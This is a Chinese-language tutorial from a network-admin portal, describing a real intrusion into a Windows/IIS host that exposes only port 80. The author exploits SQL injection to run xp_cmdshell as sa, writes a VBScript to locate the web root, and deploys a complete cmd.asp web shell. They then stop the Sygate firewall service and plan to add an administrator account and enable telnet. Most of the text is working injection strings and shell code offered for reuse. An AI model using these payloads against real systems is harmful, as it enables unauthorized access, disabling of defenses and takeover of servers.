网管联盟 | 网管论坛 | 网管u家 | 网管博客 | 网管软件 | 网管求职 | 小游戏 | 网管搜索 | 网管原创 | 网管聚合 | 网管读摘 | 网管焦点 | 世界素材 | 会员投稿 | 会员中心 
中国网管联盟
Windows Linux Cisco 网络技术 数据库 黑客攻防 DotNet Java PHP 认证 新闻资讯 服务器 存储资讯 网络设备 网管学堂 技术专题 焦点 网吧频道
 当前位置: > bitsCN.com > 网络攻防 > 安全防护 > 入侵检测 > 关于主机只开80端口的安全检测  

关于主机只开80端口的安全检测

2008-01-25  作者:bitsCN整理  来源:中国网管联盟  点评 投稿 收藏

扫描:先用x-scan2.3扫端口晕只开80,然后又扫了一遍唉还是一样的结果,看来管理员也不算笨啊!  
检查系统洞洞:先ping了一下竟然ping不通,不过有刚才的扫描结果就很明白了应是iis5再加上网页上明显用的asp这样的主机当然是win2k不用说咯.  
分析:唉也没什么可以分析咯只能从80入手,看看上面都有些什么东东有一个查询系统输入单引号试试,返回错误类型:  
Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)  
/mingce/student1.asp, 第 30 行  
看来运气也不算太坏嘛........应该有sql注入的毛病.........  
为了进一步确认试试运气输http://x.x.x.x//mingce/student1.asp.BAK  
的确可以正确提交哟返回如下:  
if request.form("xsxm")="" and request.form("xsxh")="" then  
Set Conn=Server.CreateObject("ADODB.Connection")  
Conn.Open "Driver={sql server};Server=localhost;Database=xxxx;UID=sa;PWD="&application("mm_xxx")  

比较长只是上面三行最重要了:我们可以看出ASP后台程序没用对用户提交进行任何的  

网管下载dl.bitscn.com


过滤,同时数据库用的ADODB.Connection对象(如果是ADODB.Command就算没有过滤  
特殊符号也不行的),当然也可以看出数据库使用的sa来连接的!  
(Tip:其实就算我们看不到ASP的源代码我们也可以试试xp_cmdshell ’iisreset /reboot’  
或是xp_cmdshell ’ping 你.的.I.P’,如果第一个命令能执行成功那么在半分钟之内远程  
系统会重启一次的,第二个命令你自已的机子的防火墙通常会提示来至x.x.x.x的主机向你  
发送ICMP数据,不过对于这种禁止任何数据出的主机第二个命令可能也不行哟)  

好了通过上面的分析我们可以做什么呢:  
通过在web页以管理员的身份来执行系统命令(不过没有回显的)  
如果是一般的系统主机简单了xp_cmdshell ’net user .....’我就不写了  
但是我们现在环境是系统只开了80端口,就算我们能加ADMIN用户也没用三  
以前通常只要开个139/445/135就可以远程管理了不过现在不行.  
我的思路:  
1)找到web目录的路径  
2)写入一个简单的cmd.asp用来找到防火墙的具体名字  
3)通过xp_cmdshell来关闭防火墙服务   网管网www.bitscn.com

具体实现:  
第一步明显是最难的咯  
我本来打算用adminScripts里面的建web站的方式建一个我自已的可执行目录的  
结果不行哟.然后就想到了使用adsutil.vbs程序我是这样执行的  
a’;exec master..xp_cmdshell ’cmd /c cScript c:\inetpub\adminscrips\adsutil.vbs enum w3svc/1/root>a.txt’;--  
是不是很长啦  通过它我们可以把iis里面第一个虚拟web站点的设置情况(当然包括它所在的实际目录咯)导入到a.txt中  
对于a.txt的实际位置默认当然是c:\winnt\system32,其实这都不是问题,不过遇到管理员把adsutil.vbs删了或是放到别  
的地方我们就没办法了(不可能自已用echo 命令写一个吧)  
第二步:用echo命令写下面的代码到c:\中,很多吗也不算吧    
.....xp_cmdshell ’echo set fso1=createobject("Scripting.filesystemobject")>c:\read.vbs’;--  
.....xp_cmdshell ’echo Set WshShell = WScript.CreateObject("WScript.Shell")>>c:\read.vbs’;--  
.....  
-------------------read.vbs---------------------------------  

网管bitscn_com


set fso1=createobject("Scripting.filesystemobject")  
Set WshShell = WScript.CreateObject("WScript.Shell")  
spa=WshShell.Environment("process")("windir")  
set fil =fso1.opentextfile(spa & "\system32\aa.txt")  
do while not fil.atendofstream  
nr=fil.readline  
if left(nr,4)="Path" then  
pa=mid(nr,instr(nr,")")+3,len(nr)-instr(nr,")")-3)  
exit do  
end if  
loop  
set fil1 =fso1.opentextfile(pa&"\dd.asp",2,true)  
fil1.writeline "<%response.write request.servervariables(""APPL_PHYSICAL_PATH"")%>"  
---------------cut here--------------------------------------  

第三步:当然就是执行read.vbs三,这样我们可以把aa.txt中的内容读出来找到web站点的实际路径  
然后写一个叫dd.asp的文件在web站的根目录中,能否成功试试就知道咯   网管下载dl.bitscn.com
执行http://x.x.x.x/dd.asp  
返回:d:\xxx  
看来我运气就是不错的哈(其实有个问题是我们找的第一个web站点可能并不能通过x.x.x.x来仿问)  
第四步:就是用echo命令生成cmd.asp,唉也不算长嘛也就20行而已  
其实在有的网站上(通常是虚拟主机)cmd.asp是不能执行的,不过这台主机是独立的服务器  
所以管理员就没有禁止了  
--------------------------cmd.asp------------------------------  
<%On Error Resume Next  
Set oScript = Server.CreateObject(""WScript.SHELL"")  
Set oScriptNet = Server.CreateObject(""WScript.NETWORK"")  
Set oFileSys = Server.CreateObject(""Scripting.FileSystemObject"")  
szCMD = Request.Form("".CMD"")  
If (szCMD <> """")Then  
szTempFile = ""C:\" & oFileSys.GetTempName()  
Call oScript.Run (""cmd.exe /c "" & szCMD & "" > "" & szTempFile, 0, True)  

网管联盟bitsCN@com


Set oFile = oFileSys.OpenTextFile (szTempFile, 1, False, 0)  
End If %>  
<HTML><BODY><FORM action=""<%= Request.ServerVariables(""URL"")%>"" method=""POST"">  
<input type=text name="".CMD"" size=45 value=""<%= szCMD %>""><input type=submit value=""Run"">  
</FORM><PRE>  
<% If (IsObject(oFile))Then  
On Error Resume Next  
Response.Write Server.HTMLEncode(oFile.ReadAll)  
oFile.Close  
Call oFileSys.DeleteFile(szTempFile, True)  
End If%>  
</BODY></HTML>  
-----------------------cut here--------------------------------  

第五步:执行cmd.asp三,这样我们可以找到系统上到底安的是什么防火墙,找啊找没多久我找到了  
e:\progra~1\sygate\spf,就是它不用说了嘛sygate personal firewall pro(具体版本在cmd.asp  

网管联盟bitsCN@com


里执行echo readme.txt不就明白了)  
第六步:关闭sygate的防火墙  
a’;exec master..xp_cmdshell ’net stop smcservice’;--  
(smcservice是sygate防火墙的服务名)  
第七步:看一看成功了吗?用x-scan扫,现在就对了三53,139,135,1433......都出来了  
第八步:添加系统管理员打开telnet............  

唉打了半天反正就是这样了...其实我想应该还有好的办法只是我没想到吧.......  
比如说用echo命令写一个ftp脚本来下载一个httptunel之类的程序然后再打开telnet  
....当然你也可能想得到更简单的办法就是猜web站点的实际目录......  

TAGs   检测   安全   主机   关于       "   <   我们   一个   可以      
 上一篇:绕过web关键字的监控测试   下一篇:没有了
关于主机只开80端口的安全检测 评论:
loading.. 评论加载中…
评论:请自觉遵守互联网相关政策法规,评论不得超过250字。

验证码: 注册用户
本类热门排行:
最新推荐文章:
网管论坛交流: